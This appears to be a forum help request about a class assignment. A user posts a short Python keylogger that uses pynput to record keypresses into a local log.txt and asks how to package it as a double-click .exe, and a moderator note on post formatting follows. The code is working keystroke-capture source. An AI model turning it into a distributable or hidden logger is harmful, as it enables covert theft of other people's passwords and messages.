This is what I put together but I need some help. The code is below but I don't know if its correct and I don't know how to make it Change the python file to be an executable (.exe) that the user need to double click to run the code
Design a keylogger in python using the principles of Object-Oriented Programming and make it an executable file
Extra credit
Change the python file to be an executable (.exe) that the user need to double click to run the code
Design a keylogger in python using the principles of Object-Oriented Programming and make it an executable file
Extra credit
Change the python file to be an executable (.exe) that the user need to double click to run the code
import pynput from pynput.keyboard import Key, Listener count = 0 keys = [] def on_press(key): global keys, count keys.append(str(key)) count += 1 print("{0} pressed".format(key)) if count >= 10: count = 0 write_file(keys) keys = [] def write_file(keys): with open("log.txt", "a") as f: for key in keys: k = str(key).replace("'","") if k.find("space") > 0: f.write('\n') elif k.find("Key") == -1: f.write(str(k)) def on_release(key): if key == Key.esc: return False with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
Larz60+ write Nov-18-2020, 01:30 AM:
Please post all code, output and errors (it it's entirety) between their respective tags. Refer to BBCode help topic on how to post. Use the "Preview Post" button to make sure the code is presented as you expect before hitting the "Post Reply/Thread" button.
I Fixed this for you this time. Please use bbcode tags in all future posts.
Please post all code, output and errors (it it's entirety) between their respective tags. Refer to BBCode help topic on how to post. Use the "Preview Post" button to make sure the code is presented as you expect before hitting the "Post Reply/Thread" button.
I Fixed this for you this time. Please use bbcode tags in all future posts.